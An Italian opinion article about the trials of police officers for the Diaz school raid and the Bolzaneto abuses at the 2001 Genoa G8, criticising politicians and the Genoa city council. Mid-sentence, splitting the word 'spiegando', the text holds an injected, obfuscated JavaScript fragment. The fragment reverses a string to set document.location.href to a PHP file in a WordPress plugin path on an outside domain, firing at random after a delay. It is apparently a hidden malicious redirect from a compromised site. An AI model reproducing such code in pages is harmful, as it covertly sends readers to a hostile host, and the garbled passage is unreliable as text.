Genova quattro anni dopo – di Lorenzo Guadagnucci*

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Ventinove agenti sotto processo per i fatti della Diaz, altri quaranta (oltre a cinque medici) per i maltrattamenti inflitti ai detenuti nella caserma di Bolzaneto, più sei poliziotti che dovranno rispondere dell’arresto illegale e del pestaggio di un ragazzino: per le nostre forze dell’ordine il G8 di Genova del 2001 sta avendo pesanti conseguenze giudiziarie. Fra questi 75 imputati ci sono anche importanti personaggi, che rivestono incarichi di primo piano, in particolare al vertice della polizia di stato. I processi sono appena cominciati ed entreranno nel vivo solo dopo l’estate, ma il fatto che tanti agenti, funzionari e dirigenti siano stati rinviati a giudizio è – o meglio dovrebbe essere – una specie di terremoto.
Se in Italia esistessero istituzioni indipendenti di tutela dei diritti umani, o un’authority di garanzia per la trasparenza delle forze dell’ordine, molte teste ai vertici dei corpi di polizia sarebbero già cadute e il ceto politico avrebbe messo in agenda una seria riforma del settore, per tutelare la credibilità delle istituzioni e recuperare la fiducia dei cittadini. Ma l’Italia è un paese che riserva poca attenzione alle libertà civili e ha una classe politica che ha sempre avuto, nei sessant’anni di Repubblica, legami ambigui con le forze dell’ordine. I vari corpi di polizia (che fra l’altro sono troppi) non hanno mai sviluppato una compiuta autonomia dal potere politico, e quest’ultimo ha sempre preferito assecondare chiusure e corporativismi in cambio di fedeltà.
è per questi motivi che i processi di Genova, in sé clamorosi, sono vissuti con sufficienza e una punta di fastidio sia dalle istituzioni che dalle forze politiche, incluse quelle attualmente all’opposizione. Silenzi, imbarazzi e l’idea che il “caso Genova” sia una questione di esclusiva competenza dei giudici, sono il segno di una grave insufficienza democratica.
Nel luglio 2001 fu messo da parte lo stato di diritto, furono negati i più elementari diritti civili: i giudici faranno la loro parte in tribunale, ma le risposte più profonde devono arrivare dalla politica, dalla capacità di considerare Genova come una lezione, una spinta ad agire in modo da affermare l’assoluta priorità delle garanzie costituzionali rispetto ad ogni pretesa di impunità o di protezione.
Sotto questo profilo, i processi di Genova sono cominciati sotto una cattiva stella: la politica ostenta disinteresse e nasconde la sua debolezza dietro il paravento della “non interferenza” con la magistratura.
Il comportamento del Comune di Genova – giunta di centrosinistra con il sostegno esterno di Rifondazione comunista – è emblematico di questo atteggiamento. Il sindaco Giuseppe Pericu, nel 2004, schierò il Comune “dalla parte della legalità”, chiedendo di costituirsi parte civile al processo contro 25 manifestanti accusati di devastazione e saccheggio; di fronte ad alcune contestazioni (Rifondazione finì per ritirarsi dalla giunta) promise di fare altrettanto per il processo Diaz. Ma arrivato al dunque, cioè alla prima udienza (6 aprile 2005), il Comune ha fatto marcia indietro, spieg (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando la rinuncia col fatto di avere ricevuto un risarcimento dall’assicurazione per i computer di sua proprietà danneggiati dalla polizia durante l’irruzione nella scuola Diaz-Pascoli. Pericu non ha fatto cenno ai danni morali subiti dalla città, al desiderio di stare dalla parte di chi quella notte ha subito violenze ingiustificate. Il sindaco ha preferito defilarsi, temendo che qualcuno potesse percepire la presenza del Comune accanto alle vittime della Diaz come un atto di sfiducia verso le forze dell’ordine.
è vero esattamente il contrario. Come insegna Amnesty International c’è un’unica via maestra per tutelare la credibilità delle istituzioni e garantire i diritti dei cittadini: punire penalmente i responsabili; sospendere dal servizio gli imputati; condannare nettamente sul piano politico la condotta delle forze dell’ordine.
In Italia rischiamo di mancare tutti e tre gli obiettivi: il primo per la prescrizione incombente (per molti reati scatta dopo sette anni e mezzo dai fatti, ridotti a cinque se passerà la legge detta salva-Previti); il secondo per le scelte già compiute da governo e vertici di polizia, che hanno promosso i principali imputati del processo Diaz; il terzo per il colpevole cedimento etico e culturale del nostro ceto politico, succube delle tendenze autoritarie così forti in questi anni di militarismo e di retorica della sicurezza.
(* www.veritagiustizia.it)

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